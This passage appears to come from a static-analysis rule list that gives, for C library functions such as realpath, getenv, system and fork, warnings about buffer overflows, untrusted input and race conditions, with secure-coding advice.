_teslen : This function does not properly handle non-NULL terminated strings. This does not

result in exploitable code, but can lead to access violations.

_mbslen : This function does not properly handle non-NULL terminated strings. This does not

result in exploitable code, but can lead to access violations.

MultiByteToWideChar : The last argument is the number of wide chars, not the number of
bytes. Getting this wrong can cause a buffer overflow since you will indicate that the buffer is

twice the size it actually is. Don't forget about NULL termination.

streadd : This function does not protect against buffer overflows Ensure the destination has 4

times the size of the source, to leave room for expansion

strecpy : This function does not protect against buffer overflows Ensure the destination has 4

times the size of the source, to leave room for expansion
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strtrns : This function does not protect against buffer overflows Ensure that destination is at least

as long as the source

realpath : This function does not protect against buffer overflows and some implementations can
overflow internally Ensure that the destination buffer is at least of size MAXPATHLEN, and to
protect against implementation problems, the input argument should also be checked to ensure it

is no larger than MAXPATHLEN

getopt : Some older implementations do not protect against internal buffer overflows Check

implementation on installation, or limit the size of all string inputs

getopt_long : Some older implementations do not protect against internal buffer overflows Check

implementation on installation, or limit the size of all string inputs

getpass : Some implementations may overflow buffers

getwd : This does not protect against buffer overflows by itself, so use with caution Use getcwd

mstead

getchar : Check buffer boundaries if calling this function in a loop and make sure you are not in

danger of writing past the allocated space.

fgets : Double check that your buffer is as big as you specify.When using functions that accept a
number n of bytes to copy, such as strncpy, be aware that if the dest buffer size = n it may not

NULL-terminate the string.

getc : Check buffer boundaries if calling this function in a loop and make sure you are not in

danger of writing past the allocated space.

read : Check buffer boundaries if calling this function in a loop and make sure you are not in

danger of writing past the allocated space.
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_gette : Check buffer boundaries if calling this function in a loop and make sure you are not in

danger of writing past the allocated space.

getenv : Environment variables are untrustable input if they can be it returns untrustable input if
the environment can be set by an attacker. It can have
any content and length, and the same variable can be set more than once Check environment

variables carefully before using them

curl_getenv : Environment variables are untrustable input if they can be it returns untrustable
input if the environment can be set by an attacker. It can have any content and length, and the
same variable can be set more than once Check environment variables carefully before using

them

g_get_home_dir : This function is synonymous with 'getenv(\"HOME\")’; it returns untrustable
input if the environment can be set by an attacker. It can have any content and length, and the
same variable can be set more than once Check environment variables carefully before using

them

g_get_tmp_dir : This function is synonymous with 'getenv(\"TMP\")'; it returns untrustable input
if the environment can be set by an attacker. It can have any content and length, and the same

variable can be set more than once Check environment variables carefully before using them

system : Argument 1 to this function call should be checked to ensure that it does not come from

an untrusted source without first verifying that it contains nothing dangerous.

fopen : A potential race condition vulnerability exists here. Normally a call to this function is
vulnerable only when a match check precedes it. No check was detected, however one could still

exist that could not be detected.

open : A potential race condition vulnerability exists here. Normally a call to this function is
vulnerable only when a match check precedes it. No check was detected, however one could still

exist that could not be detected.
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umask : umask() can easily be used to create files with unsafe privileges. It should be set to

restrictive values.

fork : Remember that sensitive data get copied on fork. For example, a random number
generator's internal state will get duplicated, and the child may start outputting identical number

streams.
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